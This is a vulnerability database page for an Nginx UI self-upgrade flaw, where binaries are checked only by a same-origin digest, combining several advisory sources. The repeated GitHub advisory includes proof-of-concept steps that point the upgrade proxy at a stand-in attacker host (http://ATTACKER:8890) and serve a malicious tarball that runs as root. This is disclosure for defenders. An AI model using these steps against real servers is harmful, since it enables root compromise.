CVE-2026-107812
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.
- Record
CVE-2026-107812- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-494
- Updated
- 2026-11-02
EUVDEUVD-2026-95897
7.5
Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.
- Record
EUVD-2026-95897- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-662p-52hx-cmh2
7.5
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Summary
The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest)
through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's
cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest:
digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the github_proxy setting accepts http://
URLs, so the binary+digest can be fetched over cleartext.
Affected code
internal/version/url.go GetUrl(path)=<github_proxy or cloud.nginxui.com>/<path>— used for BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped withGetUrl(), fetched, and checked withdigestFileContent == DigestSHA512(tarName). No signature verification anywhere ininternal/upgrader/.selfupdate.CommitBinarythen replaces the running binary; the process restarts.settings/http.go:GithubProxyaccepts any URL (binding:"omitempty,url"), includinghttp://.
Attack scenarios
A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is
hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism
An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script
that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
- Set the download origin to the attacker server (here via
github_proxy; in scenarios A/B this is instead a compromised mirror / MITM):POST /api/settingswithhttp.github_proxy = http://ATTACKER:8890-> 200. The field accepts the http URL. - Trigger the upgrade: WS
GET /api/upgrade/perform, send{"channel":"stable"}. - Observed:
- The attacker server received BOTH
GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digestand.../nginx-ui-linux-64.tar.gz(over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
- Inside the container:
/tmp/UPGRADE_PWNED=UPGRADE_RCE_EXECUTED uid=0-> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.
- The attacker server received BOTH
Impact
Root code execution on…
- Record
GHSA-662p-52hx-cmh2- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-494
- Updated
- 2026-11-02
NVD
7.5
Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.
- Record
CVE-2026-107812- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-494
- Updated
- 2026-11-02
OSV
7.5
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.
- Record
CVE-2026-107812- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-494
- Updated
- 2026-11-02
OSVGHSA-662p-52hx-cmh2
7.5
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Summary
The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest)
through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's
cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest:
digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the github_proxy setting accepts http://
URLs, so the binary+digest can be fetched over cleartext.
Affected code
internal/version/url.go GetUrl(path)=<github_proxy or cloud.nginxui.com>/<path>— used for BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped withGetUrl(), fetched, and checked withdigestFileContent == DigestSHA512(tarName). No signature verification anywhere ininternal/upgrader/.selfupdate.CommitBinarythen replaces the running binary; the process restarts.settings/http.go:GithubProxyaccepts any URL (binding:"omitempty,url"), includinghttp://.
Attack scenarios
A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is
hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism
An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script
that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
- Set the download origin to the attacker server (here via
github_proxy; in scenarios A/B this is instead a compromised mirror / MITM):POST /api/settingswithhttp.github_proxy = http://ATTACKER:8890-> 200. The field accepts the http URL. - Trigger the upgrade: WS
GET /api/upgrade/perform, send{"channel":"stable"}. - Observed:
- The attacker server received BOTH
GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digestand.../nginx-ui-linux-64.tar.gz(over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
- Inside the container:
/tmp/UPGRADE_PWNED=UPGRADE_RCE_EXECUTED uid=0-> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.
- The attacker server received BOTH
Impact
Root code execution on…
- Record
GHSA-662p-52hx-cmh2- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-494
- Updated
- 2026-11-02
OSVGO-2026-6705 No score
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM in github.com/0xJacky/Nginx-UI
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM in github.com/0xJacky/Nginx-UI
- Record
GO-2026-6705- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/0xJacky/Nginx-UIGo |
1.9.10-0.20250517140552-daee3ac7ade1 up to 1.9.10-0.20260728114330-580585516dd8 | 1.9.10-0.20260728114330-580585516dd8 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-107812 is a high vulnerability (CVSS 7.5) in Nginxui Nginx Ui, published October 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 6th percentile. Fixed in github.com/0xJacky/Nginx-UI 1.9.10-0.20260728114330-580585516dd8.
References
github.com/0xJacky/nginx-ui/security/advisories/GHSA-662p-52hx-cmh2
github.com/0xJacky/nginx-ui/commit/580585516dd87a8b176bcdac258db70c3b64b7ec
github.com/0xJacky/nginx-ui/releases/tag/v2.5.0
github.com/advisories/GHSA-662p-52hx-cmh2
github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107812.json
nvd.nist.gov/vuln/detail/CVE-2026-107812
github.com/0xJacky/nginx-ui
Left out here: the rest of 2 source descriptions. The JSON record has them.